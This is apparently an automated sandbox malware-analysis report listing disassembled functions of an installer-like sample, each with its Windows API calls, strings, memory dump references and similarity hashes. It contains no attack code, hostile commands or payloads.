Function 0044EFD8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00492971), ref: 0044F013
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F019

Strings

NotifyWinEvent, xrefs: 0044F009
user32.dll, xrefs: 0044F00E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NotifyWinEvent$user32.dll
API String ID: 1646373207-597752486
Opcode ID: 14387aedca7aefdef0683c3ddaa71b572771d7d4e504a8f70a8313ae2fd5082f
Instruction ID: d5e9afbdc33ce2732c9423c566c922af1deae432a4d89253bf7da83917605eba
Opcode Fuzzy Hash: 14387aedca7aefdef0683c3ddaa71b572771d7d4e504a8f70a8313ae2fd5082f
Instruction Fuzzy Hash: 8DE0ECE0A42344AEFB10BBF6E942B1B2A90E7D571DB10007BB2006A593CB7C040A8A1E

Uniqueness

Uniqueness Score: -1.00%

Function 0049273C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004929BD,00000001,00000000,004929E1), ref: 00492746
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0049274C

Strings

DisableProcessWindowsGhosting, xrefs: 0049273C
user32.dll, xrefs: 00492741

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 35b9077db0bf85f0e7bfa9aca20f55309094321a33a805c10598d3184199be09
Instruction ID: eaa947335cb6f520d9ee4e24e6959d85bb97eec5577cdd685d5abce296b2953a
Opcode Fuzzy Hash: 35b9077db0bf85f0e7bfa9aca20f55309094321a33a805c10598d3184199be09
Instruction Fuzzy Hash: 31B09280281702748C1032F20E46E1B4888488072571404B73400B10C2CDEC880528AD

Uniqueness

Uniqueness Score: -1.00%

Function 00460AF4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044AEEC: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F009,00492971), ref: 0044AF13
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044AF2B
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044AF3D
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044AF4F
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044AF61
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044AF73
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044AF85
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044AF97
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044AFA9
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044AFBB
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044AFCD
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044AFDF
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044AFF1
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B003
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B015
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B027
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B039
Part of subcall function 0044AEEC: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B04B

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049298F), ref: 00460B03
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00460B09

Strings

SHPathPrepareForWriteA, xrefs: 00460AF9
shell32.dll, xrefs: 00460AFE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: d51c42bd4142a1419cebe145bcc4e62e91902ea29c04febc714d013a4538a5c6
Instruction ID: 1dc59214256150821f64c4a5b3e010dcdd688bc926fb1e8d07287d1f160dc46b
Opcode Fuzzy Hash: d51c42bd4142a1419cebe145bcc4e62e91902ea29c04febc714d013a4538a5c6
Instruction Fuzzy Hash: EFB09290B80700A19E00B7F25883D2B140C8580F1D720847B7010791DBEA7C500099AE

Uniqueness

Uniqueness Score: -1.00%

Function 00413C68 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413CB6
GetDesktopWindow.USER32 ref: 00413D6E

Part of subcall function 00418E30: 6F5BC6F0.COMCTL32(?,00000000,00413F33,00000000,00414043,?,?,00494628), ref: 00418E4C
Part of subcall function 00418E30: ShowCursor.USER32(00000001,?,00000000,00413F33,00000000,00414043,?,?,00494628), ref: 00418E69

SetCursor.USER32(00000000,?,?,?,?,00413A63,00000000,00413A76), ref: 00413DAC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 45eab49b9f5213df2d83ef42053e3571740e663cae2ab16979cfe5a355df0160
Instruction ID: f419cdb22dffc734eda11f614feaf6954746e02452764f6a113fc2dd2abbdfc2
Opcode Fuzzy Hash: 45eab49b9f5213df2d83ef42053e3571740e663cae2ab16979cfe5a355df0160
Instruction Fuzzy Hash: C7419275600110AFC700EFB9E984F4677E0AB95315B1684BBE104CB365DA38ED82CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004089BC Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 004089DD
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408A4C
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408AE7
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408B26

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: 9475b91f6b12abc75ac03e97528c4589aec67ab33c443f8169a5e3803f66a059
Instruction ID: 14e0b5c6cd5b97c86ff82054d5328c9cf2b7980ad66a2a36783bbd85928cae88
Opcode Fuzzy Hash: 9475b91f6b12abc75ac03e97528c4589aec67ab33c443f8169a5e3803f66a059
Instruction Fuzzy Hash: 6E3143706083809FD330EB65C945B9B77E89B8A304F40483FB6C8E72D1DB7999058767

Uniqueness

Uniqueness Score: -1.00%

Function 0044E158 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E1A1

Part of subcall function 0044C7E4: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044C816

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E225

Part of subcall function 0042BB24: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BB38

IsRectEmpty.USER32(?), ref: 0044E1E7
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E20A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: 2f4f09d471764e0b40a61100a36ec5f960fc55f7f790cb04e4501a849a6d4287
Instruction ID: 5406ccee5fb56c270110fdf5510288933eb71161ddc8a876bede12871bf79798
Opcode Fuzzy Hash: 2f4f09d471764e0b40a61100a36ec5f960fc55f7f790cb04e4501a849a6d4287
Instruction Fuzzy Hash: 6E114D71B4031027E210BA7E9C86B5B66CDAB88749F04493FB605EB383DEB9DC058299

Uniqueness

Uniqueness Score: -1.00%

Function 0048F85C Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 0048F8C0
OffsetRect.USER32(?,00000000,?), ref: 0048F8DB
OffsetRect.USER32(?,?,00000000), ref: 0048F8F5
OffsetRect.USER32(?,00000000,?), ref: 0048F910

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: b92cc9e0c51abad00843a30158c78bfcdf3235bd319301de45a4e2a650a825ad
Instruction ID: ce36c56c1c582fdda7e72a0fface693b427ee6f0177311c7c28b849f91f6b588
Opcode Fuzzy Hash: b92cc9e0c51abad00843a30158c78bfcdf3235bd319301de45a4e2a650a825ad
Instruction Fuzzy Hash: 0F217CB6700201ABD300EE69CC85E5BB7DEEBD4344F14CA3AF954C7249D738E94887A6

Uniqueness

Uniqueness Score: -1.00%

Function 00417188 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004171D0
SetCursor.USER32(00000000), ref: 00417213
GetLastActivePopup.USER32(?), ref: 0041723D
GetForegroundWindow.USER32(?), ref: 00417244

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: c1cfbe4ca0de68e17c4a100ee12b51fff2b36c6f0ea2abcdeec6e8c4ace2589f
Instruction ID: 088d0700f5649383027441de99f76d51f9d962fb002c63a2b2ca12876e25bed5
Opcode Fuzzy Hash: c1cfbe4ca0de68e17c4a100ee12b51fff2b36c6f0ea2abcdeec6e8c4ace2589f
Instruction Fuzzy Hash: 192183713086018ACB20ABA9D889AD733F1AF85714F0545ABF8589B792D73DDC82CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0048F514 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(8B500000,00000008,?), ref: 0048F529
MulDiv.KERNEL32(50142444,00000008,?), ref: 0048F53D
MulDiv.KERNEL32(F76037E8,00000008,?), ref: 0048F551
MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 0048F56F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6335ae3c13ddf35d91c6dca3ece5bfa36ba83b479f3d3f49975b0228b2d303f4
Instruction ID: 6f2f5d3731a38f560a61ba406435f1238513cd740096e42b36e3bab7bd81765c
Opcode Fuzzy Hash: 6335ae3c13ddf35d91c6dca3ece5bfa36ba83b479f3d3f49975b0228b2d303f4
Instruction Fuzzy Hash: AA112172604204BBCB40EEADC8C4D9B77ECEF4D360B24416AF918DB246D634ED408BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041F3F0 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F3E0,?), ref: 0041F411
UnregisterClassA.USER32(0041F3E0,00400000), ref: 0041F43A
RegisterClassA.USER32(00493598), ref: 0041F444
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F47F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 369b4581b8718a6b7f5c456dac74c697fddaa2f7eb52355fd25e4240f497afd1
Instruction ID: ba8a097de1154e85499311c45b2324022c4db67c4a949dbf0f11183773784737
Opcode Fuzzy Hash: 369b4581b8718a6b7f5c456dac74c697fddaa2f7eb52355fd25e4240f497afd1
Instruction Fuzzy Hash: 720152712401047BCB20EF68ED81E9B37ACA76D314B11413BBA05E72E1D635DD165BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040D170 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D187
LoadResource.KERNEL32(00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?,?,0047764C,0000000A,REGDLL_EXE), ref: 0040D1A1
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?,?,0047764C), ref: 0040D1BB
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A928,00400000,00000001,00000000,?,0040D0E4,00000000,?,00000000,?), ref: 0040D1C5

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: b3c15c4636e7b2139434bed422b55b0694fd43cf85b07dfc26612a38abd02691
Instruction ID: a2e4909c1946fcd89949086e6ecb513f2c22862e5b7fa6f76d970aa484769738
Opcode Fuzzy Hash: b3c15c4636e7b2139434bed422b55b0694fd43cf85b07dfc26612a38abd02691
Instruction Fuzzy Hash: BEF0FF726056046F9754EE9DA881D5B76ECDE48264320416AF908EB246DE38DD118B78

Uniqueness

Uniqueness Score: -1.00%

Function 00454504 Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,00459AD2,?,?,?,?,?,00000000,00459AF9), ref: 00454540
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,00459AD2,?,?,?,?,?,00000000), ref: 00454549
RemoveFontResourceA.GDI32(00000000), ref: 00454556
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0045456A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: 96fa512f3f662ed87c37535a3766b553a9c327ccaabb4965c9ab73448b41aaf6
Instruction ID: 1eb0840f44da6d39683793e989569f75594476954d085f3704b84519527e0fd3
Opcode Fuzzy Hash: 96fa512f3f662ed87c37535a3766b553a9c327ccaabb4965c9ab73448b41aaf6
Instruction Fuzzy Hash: B9F054B574535037EA10B6B69C47F1B228C8F94749F10483BB600EF2C3D97CD904962D

Uniqueness

Uniqueness Score: -1.00%

Function 0046B6D8 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000), ref: 0046B729

Strings

Failed to set NTFS compression state (%d)., xrefs: 0046B73A
Unsetting NTFS compression on directory: %s, xrefs: 0046B70F
Setting NTFS compression on directory: %s, xrefs: 0046B6F7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
API String ID: 1452528299-1392080489
Opcode ID: d53215409e502109a5a1d7da470d817492eeecdd52408c6bdcbefe281b75e759
Instruction ID: 8a2dc4ed195109a8471c1236a5c58557194bf09444f2f11eb0036fe1721b7234
Opcode Fuzzy Hash: d53215409e502109a5a1d7da470d817492eeecdd52408c6bdcbefe281b75e759
Instruction Fuzzy Hash: 6E014431D0824866CF04D7ED90512EDBBF4DF49305F54C5AFA454DB242EBB9094987DB

Uniqueness

Uniqueness Score: -1.00%

Function 0046BFC8 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 0046C019

Strings

Failed to set NTFS compression state (%d)., xrefs: 0046C02A
Unsetting NTFS compression on file: %s, xrefs: 0046BFFF
Setting NTFS compression on file: %s, xrefs: 0046BFE7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
API String ID: 1452528299-3038984924
Opcode ID: 64252f671433613891e1a7440361f40b2ffce42b5703e84520e84a0d5a72c339
Instruction ID: f21eca6685929eef9c1991e0f0882ebce6d76680defdff1bfc8b5815b9b403a8
Opcode Fuzzy Hash: 64252f671433613891e1a7440361f40b2ffce42b5703e84520e84a0d5a72c339
Instruction Fuzzy Hash: FD014430E08248AACB14D7ED90912BDBBF49F09304F54C1AFA494DB242EAB905088B9B

Uniqueness

Uniqueness Score: -1.00%

Function 00477888 Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004778A9
GetLastError.KERNEL32 ref: 004778B3
GetTickCount.KERNEL32 ref: 004778BD
Sleep.KERNEL32(00000032), ref: 004778CD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 7f9be6c62347cb85835d29a1a4366730904a4622375b7e81926710e7e3913ef5
Instruction ID: 600cfe0a74c4f2c1bd3ebedcfd2d7a6b72f2f4999c435aba37b1015e9725878a
Opcode Fuzzy Hash: 7f9be6c62347cb85835d29a1a4366730904a4622375b7e81926710e7e3913ef5
Instruction Fuzzy Hash: B5E0E53170D501498A2031AE988A6AB4689CA89324B1985FFF48CE6242C4184C05C76F

Uniqueness

Uniqueness Score: -1.00%

Function 00473420 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,0047B069,?,?,00000001,00000000,00000002,00000000,0047B8F6,?,?,?,?,?,00492A60), ref: 00473429
OpenProcessToken.ADVAPI32(00000000,00000008,?,0047B069,?,?,00000001,00000000,00000002,00000000,0047B8F6), ref: 0047342F
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,0047B069,?,?,00000001,00000000,00000002,00000000,0047B8F6), ref: 00473451
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,0047B069,?,?,00000001,00000000,00000002,00000000), ref: 00473462

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 5e6959b0aa08eab338446373c25635829722180206a086ec912edd4ecd6bffc1
Instruction ID: b2e67a826371a673a356ac5d6eaa9b5bb997f149e1c9fc538a60d49279a5b6ce
Opcode Fuzzy Hash: 5e6959b0aa08eab338446373c25635829722180206a086ec912edd4ecd6bffc1
Instruction Fuzzy Hash: 99F03061644301ABD600EAB5CC82E9B77DCEB44754F04883A7E98D72C1D679DD08AB66

Uniqueness

Uniqueness Score: -1.00%

Function 004241B0 Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(?), ref: 004241BC
IsWindowVisible.USER32(?), ref: 004241CD
IsWindowEnabled.USER32(?), ref: 004241D7
SetForegroundWindow.USER32(?), ref: 004241E1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: 45cc8346385df99cd35dc406275c17b3484034b80334a27cef1f15798a1a4062
Instruction ID: 7a261241521d5f36110480f60a41559dbc21bd8b6604a945fb8666e4bf107b55
Opcode Fuzzy Hash: 45cc8346385df99cd35dc406275c17b3484034b80334a27cef1f15798a1a4062
Instruction Fuzzy Hash: 0DE08699B06531139E31FA251885ABB25ACCD54B883C60127BC04F7243DF1CCFA0C1AC

Uniqueness

Uniqueness Score: -1.00%

Function 00466BEC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 247windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 00466DD9
EnableMenuItem.USER32(00000000,00000000,00000000), ref: 00466DDF

Strings

CurPageChanged, xrefs: 00466F67

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$EnableItemSystem
String ID: CurPageChanged
API String ID: 3692539535-2490978513
Opcode ID: 02cdd856f79da87946ce3be0036284d170d79325171fd6f69fc8e8dc4402c0b0
Instruction ID: ce10d549b0c21605a6af546479ee9e12edac585882682887e1d5a1eed24c9042
